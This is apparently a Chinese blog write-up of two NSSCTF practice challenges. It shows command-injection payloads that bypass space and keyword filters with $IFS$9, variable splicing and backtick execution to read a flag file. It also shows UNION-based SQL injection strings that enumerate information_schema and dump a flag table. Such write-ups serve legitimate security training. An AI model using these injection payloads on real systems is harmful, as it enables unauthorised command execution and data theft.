NSSCTF随机一题

 [GXYCTF 2019]Ping Ping Ping

应该是命令注入的题目,直接先ping一下本地,发现url栏有ip传参变化 

接着就是利用命令注入符,尝试注入

NSSCTF随机一题_第1张图片它好像真的在ping,执行得特别慢,利用ls,查询到了flag文件

NSSCTF随机一题_第2张图片

发现空格过滤

NSSCTF随机一题_第3张图片

发现对特殊符号也有过滤,那可以尝试将空格替换为$IFS$9

NSSCTF随机一题_第4张图片

 成功绕过空格,但是又过滤了flag

NSSCTF随机一题_第5张图片

尝试使用尖括号绕过,被检测到

NSSCTF随机一题_第6张图片

 尝试使用变量赋值,将$a = a,构造:fla$a.php

结果一直不行,我本以为是这道题加强了难度,结果变量赋值应该构造的是 a=g,我一直陷在php变量定义里,那不用$为啥后面还要用$加变量名调用呢 

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

查看源码获得flag

NSSCTF随机一题_第7张图片

还是另外一种方法明了一点,利用``反引号内联执行

将ls查询出的结果赋给cat继续执行

构造:

cat$IFS$9`ls`

 源码中获得flag,并且在index.php里藏有源码也一并显示出来了

NSSCTF随机一题_第8张图片

[LitCTF 2023]这是什么?SQL !注一下 

不好说,就是怪怪的

页面往下滑有明目张胆的提示,这玩意是带了多少层

NSSCTF随机一题_第9张图片

输入一个1会在页面右下角有提示,感觉很简单的样子 

NSSCTF随机一题_第10张图片

万能密码查看,这个应该就是flag所在地吧

NSSCTF随机一题_第11张图片

 构造语句查询数据库

-1)))))) union select 1,database()#

NSSCTF随机一题_第12张图片

 获取数据库中的表名称

但是这里如果直接利用hackbar进行注入的话,网页不会自动对#编码,所以我们可以事先替换为%23或者使用--+作为注释符

?id=-1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

NSSCTF随机一题_第13张图片

构造语句获取users表中的字段名

?id=-1))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+

看着不像啊,把大写字段查查

NSSCTF随机一题_第14张图片

 没有数据NSSCTF随机一题_第15张图片

这个也不是flag

NSSCTF随机一题_第16张图片

我去,没别的表了呀,难道还有别的数据库?毕竟database只是查询当前数据库名称

忍不住看了wp,得到一段语句去查询所有的数据库

?id=-1))))))union select 1,group_concat(schema_name)from information_schema.schemata--+

 有三个数据库比较可疑哈,因为看了wp就直接对ctftraining数据库进行查询了

NSSCTF随机一题_第17张图片

 最终在flag表里找到flag 

?id=-1))))))union select 1,group_concat(flag)from ctftraining.flag--+

NSSCTF随机一题_第18张图片

你可能感兴趣的:(PHP,命令注入,SQL,php,正则匹配,sql注入,命令执行)